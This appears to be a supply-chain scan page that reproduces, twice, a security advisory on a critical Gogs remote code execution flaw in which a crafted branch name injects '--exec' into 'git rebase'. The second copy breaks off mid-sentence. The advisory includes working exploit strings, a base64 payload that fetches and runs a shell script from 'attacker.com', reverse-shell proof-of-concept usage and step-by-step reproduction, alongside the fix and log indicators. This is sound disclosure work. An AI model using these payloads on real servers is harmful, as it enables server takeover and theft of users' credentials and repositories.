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hol-guard supply-chain scanGogs vulnerable to RCE via git rebase --exec argument injection in pull request merge affects gogs.io/gogs (go). Severity is critical. # Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. ## Severity **Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - **Gogs 0.14.2** (latest supported release) - Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - **Server compromise**: Arbitrary command execution as the Gogs process user - **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos - **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - **Lateral movement**: Pivot to other systems accessible from the server's network - **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: - **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs **one** of the following: - **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default** - **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. ## Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233) | `git clone -b '<malicious>' <repo> <tmp>` | **Succeeds** - `-b` consumes `--exec=...` as the branch value | | [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally | | [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) | `git rebase --quiet '<malicious>' 'head_repo/feature'` | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` | | [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290) | `git checkout -b <tmpBranch>` | Succeeds (tmpBranch is a server-generated timestamp) | | [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297) | `git checkout '<malicious>'` | **Fails** - git interprets `--exec=...` as invalid option for checkout | Step 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: ```log [E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' ``` This is logged via [`c.Error(err, "merge")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level. ### Why the PR Becomes Mergeable The `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths: - **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally. - **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error. The exploit relies on the following causal chain: 1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds. 2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`. 3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error. 4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**. The PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path. ### Proof of Concept A standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation. #### Usage ```bash # Reverse shell (Linux) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> # Reverse shell (Windows) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows # Custom command python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned' # Version fingerprint only (no exploit) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check ``` #### Demo Run the PoC with a reverse shell payload: ```bash python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337 [*] Fingerprinting target... [+] Gogs 0.14.2 detected [*] Authenticating as "attacker" [+] Authenticated [*] Creating repository [+] Repository xxxx-yyyy created [*] Enabling rebase merge [+] Rebase merge enabled [*] Pushing branches via git [+] Branches pushed [*] Creating pull request [+] PR #1 created [*] Triggering rebase merge - RCE fires now! [+] Rebase merge triggered ``` Checking the listener: ```bash $ nc -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43240 $ whoami git ``` ### Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: **Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account. **Step 1: Create a repository and push branches** ```bash # Create repo via Gogs API curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \ -H 'Content-Type: application/json' -d '{"name":"demo"}' # Set up local repo with divergent branches mkdir /tmp/demo && cd /tmp/demo && git init git config user.email "[email protected]" && git config user.name "attacker" echo "# Demo" > README.md && git add . && git commit -m "Initial commit" git checkout -b feature echo "feature" > feature.txt && git add . && git commit -m "Add feature" git checkout master echo "update" >> README.md && git add . && git commit -m "Update master" # Create the malicious branch (same commit as master) git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD # Push all branches git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' ``` **Step 2: Enable rebase in repo settings** 1. Navigate to `http://localhost:3080/attacker/demo/settings` 2. Click **Advanced Settings** 3. Check **Enable Pull Requests**, then check **Allow rebase** 4. Click **Save** (Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`) **Step 3: Create the Pull Request** Navigate to the compare URL (base = malicious branch, head = feature): ``` http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature ``` Enter a title (e.g., "RCE PoC") and click **New Pull Request**. **Step 4: Wait for testPatch (~5 seconds)** The background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. **Step 5: Trigger the merge** 1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging** 2. Click **Merge Pull Request** 3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase) **Step 6: Verify RCE** ```bash $ ls -la /tmp/BROWSER_RCE_PROOF -rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF ``` The file was created by the Gogs server process during `git rebase --exec` ## Recommended Fix ### Primary fix: Add `--` separator ```go // internal/database/pull.go line 282 "git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch ``` ### Defense-in-depth: Validate branch names Reject base branch names starting with `-` at the PR creation endpoint: ```go // internal/route/repo/pull.go, after line 447 if strings.HasPrefix(baseRef, "-") { c.NotFound() return nil, nil, nil, nil, "", "" } ``` ### Additional hardening Apply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`: - Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened) - Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`) - Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator) ## Relationship to Prior Argument Injection Fixes This vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag` | | [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview | Added `--end-of-options` to `git diff` | | [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion | Migrated to safe git-module API | | [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server | Added `--` separator to `git upload-pack` / `git receive-pack` | The [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated. Notably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). ## Affected Platforms The vulnerability has been confirmed on: - **Linux**: Docker (official image) and binary installation on Ubuntu 24.04 - **Windows**: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. ## Test Environment - **OS**: Ubuntu Linux 24.04, Windows (Git for Windows) - **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`) - **Go version**: go1.26.1 - **Database**: SQLite - **Deployment**: Docker (official image), binary, and built from source ## Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
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hol-guard supply-chain scanGogs vulnerable to RCE via git rebase --exec argument injection in pull request merge affects gogs.io/gogs (go). Severity is critical. # Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. ## Severity **Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - **Gogs 0.14.2** (latest supported release) - Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - **Server compromise**: Arbitrary command execution as the Gogs process user - **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos - **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - **Lateral movement**: Pivot to other systems accessible from the server's network - **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: - **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs **one** of the following: - **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default** - **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. ## Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233) | `git clone -b '<malicious>' <repo> <tmp>` | **Succeeds** - `-b` consumes `--exec=...` as the branch value | | [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally | | [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) | `git rebase --quiet '<malicious>' 'head_repo/feature'` | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` | | [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290) | `git checkout -b <tmpBranch>` | Succeeds (tmpBranch is a server-generated timestamp) | | [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297) | `git checkout '<malicious>'` | **Fails** - git interprets `--exec=...` as invalid option for checkout | Step 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: ```log [E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' ``` This is logged via [`c.Error(err, "merge")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level. ### Why the PR Becomes Mergeable The `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths: - **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally. - **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error. The exploit relies on the following causal chain: 1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds. 2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`. 3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error. 4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**. The PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path. ### Proof of Concept A standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation. #### Usage ```bash # Reverse shell (Linux) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> # Reverse shell (Windows) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows # Custom command python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned' # Version fingerprint only (no exploit) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check ``` #### Demo Run the PoC with a reverse shell payload: ```bash python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337 [*] Fingerprinting target... [+] Gogs 0.14.2 detected [*] Authenticating as "attacker" [+] Authenticated [*] Creating repository [+] Repository xxxx-yyyy created [*] Enabling rebase merge [+] Rebase merge enabled [*] Pushing branches via git [+] Branches pushed [*] Creating pull request [+] PR #1 created [*] Triggering rebase merge - RCE fires now! [+] Rebase merge triggered ``` Checking the listener: ```bash $ nc -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43240 $ whoami git ``` ### Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: **Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account. **Step 1: Create a repository and push branches** ```bash # Create repo via Gogs API curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \ -H 'Content-Type: application/json' -d '{"name":"demo"}' # Set up local repo with divergent branches mkdir /tmp/demo && cd /tmp/demo && git init git config user.email "[email protected]" && git config user.name "attacker" echo "# Demo" > README.md && git add . && git commit -m "Initial commit" git checkout -b feature echo "feature" > feature.txt && git add . && git commit -m "Add feature" git checkout master echo "update" >> README.md && git add . && git commit -m "Update master" # Create the malicious branch (same commit as master) git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD # Push all branches git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' ``` **Step 2: Enable rebase in repo settings** 1. Navigate to `http://localhost:3080/attacker/demo/settings` 2. Click **Advanced Settings** 3. Check **Enable Pull Requests**, then check **Allow rebase** 4. Click **Save** (Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`) **Step 3: Create the Pull Request** Navigate to the compare URL (base = malicious branch, head = feature): ``` http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature ``` Enter a title (e.g., "RCE PoC") and click **New Pull Request**. **Step 4: Wait for testPatch (~5 seconds)** The background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. **Step 5: Trigger the merge** 1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging** 2. Click **Merge Pull Request** 3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase) **Step 6: Verify RCE** ```bash $ ls -la /tmp/BROWSER_RCE_PROOF -rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF ``` The file was created by the Gogs server process during `git rebase --exec` ## Recommended Fix ### Primary fix: Add `--` separator ```go // internal/database/pull.go line 282 "git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch ``` ### Defense-in-depth: Validate branch names Reject base branch names starting with `-` at the PR creation endpoint: ```go // internal/route/repo/pull.go, after line 447 if strings.HasPrefix(baseRef, "-") { c.NotFound() return nil, nil, nil, nil, "", "" } ``` ### Additional hardening Apply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`: - Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened) - Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`) - Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator) ## Relationship to Prior Argument Injection Fixes This vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag` | | [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview | Added `--end-of-options` to `git diff` | | [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion | Migrated to safe git-module API | | [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server | Added `--` separator to `git upload-pack` / `git receive-pack` | The [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated. Notably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). ## Affected Platforms The vulnerability has been confirmed on: - **Linux**: Docker (official image) and binary installation on Ubuntu 24.04 - **Windows**: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. ## Test Environment - **OS**: Ubuntu Linux 24.04, Windows (Git for Windows) - **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`) - **Go 